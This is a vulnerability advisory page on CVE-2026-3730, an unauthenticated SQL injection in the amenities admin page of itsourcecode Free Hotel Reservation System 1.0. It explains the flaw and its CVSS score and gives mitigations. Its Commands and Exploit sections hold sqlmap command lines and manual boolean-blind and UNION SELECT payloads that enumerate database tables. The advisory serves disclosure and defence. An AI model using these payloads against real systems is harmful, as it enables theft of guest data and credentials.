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CVE-2026-3730 is a SQL injection vulnerability discovered in itsourcecode Free Hotel Reservation System version 1.0. The flaw exists within an unknown function in the file /hotel/admin/mod_amenities/index.php?view=edit. By manipulating the `amen_id` or `rmtype_id` parameters in a GET request to this script, an attacker can inject arbitrary SQL code. This is possible because the application fails to properly sanitize user input before using it in a database query. As the application constructs SQL commands from this externally-influenced input, it allows an attacker to modify the intended query logic. The attack can be carried out remotely without any authentication, making it highly accessible to potential threat actors. Successful exploitation could lead to unauthorized disclosure of sensitive data from the database, modification or deletion of database records, and potentially other impacts on application availability. Technical details and a proof-of-concept exploit have been released publicly, increasing the immediate risk to unpatched systems. The vulnerability is classified under CWE-89, which covers Improper Neutralization of Special Elements used in an SQL Command. Its CVSS v4.0 base score is 6.9 (Medium), with a vector string of CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P.
dailycve form:
Platform: itsourcecode Free Hotel Reservation System
Version: 1.0
Vulnerability: SQL Injection
Severity: Medium
date: 03/08/2026
Prediction: No patch available
What Undercode Say:
Analytics:
The vulnerability is straightforward to exploit with low complexity and no required privileges. Given the public availability of exploit code, active scanning for vulnerable `/hotel/admin/mod_amenities/index.php?view=edit` endpoints is highly probable. The specific file path suggests the vulnerability lies in the amenities management section of the admin panel.
Commands:
Example using sqlmap to test for injection on the amen_id parameter sqlmap -u "http://target.com/hotel/admin/mod_amenities/index.php?view=edit&amen_id=1" --batch --level=2 --risk=2 Example using sqlmap to test for injection on the rmtype_id parameter sqlmap -u "http://target.com/hotel/admin/mod_amenities/index.php?view=edit&rmtype_id=1" --batch --level=2 --risk=2 Manual testing payload for boolean-based blind http://target.com/hotel/admin/mod_amenities/index.php?view=edit&amen_id=1' AND '1'='1 http://target.com/hotel/admin/mod_amenities/index.php?view=edit&amen_id=1' AND '1'='2 Manual testing payload for UNION-based extraction http://target.com/hotel/admin/mod_amenities/index.php?view=edit&amen_id=-1' UNION SELECT 1,2,3,4,database(),6,7,8,9--
Exploit:
The exploit involves sending a crafted HTTP GET request to the vulnerable page. An attacker can use a `UNION SELECT` SQL injection technique to extract data from the database. For example, by manipulating the `amen_id` parameter to -1' UNION SELECT 1,2,3,4,group_concat(table_name),6,7,8,9 FROM information_schema.tables WHERE table_schema=database()-- -, the application might return the list of tables within the page’s content.
Protection from this CVE:
As no official patch exists, immediate mitigation requires implementing input validation and parameterized queries in the application’s source code. As a workaround, a Web Application Firewall (WAF) can be configured with rules to block SQL injection patterns targeting the `amen_id` and `rmtype_id` parameters. Access to the `/hotel/admin/` directory should be restricted to trusted IP addresses only.
Impact:
An unauthenticated remote attacker can read, modify, or delete sensitive database information, including user credentials and reservation details. This compromises the confidentiality, integrity, and availability of the application data.
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Sources:
Reported By: nvd.nist.gov
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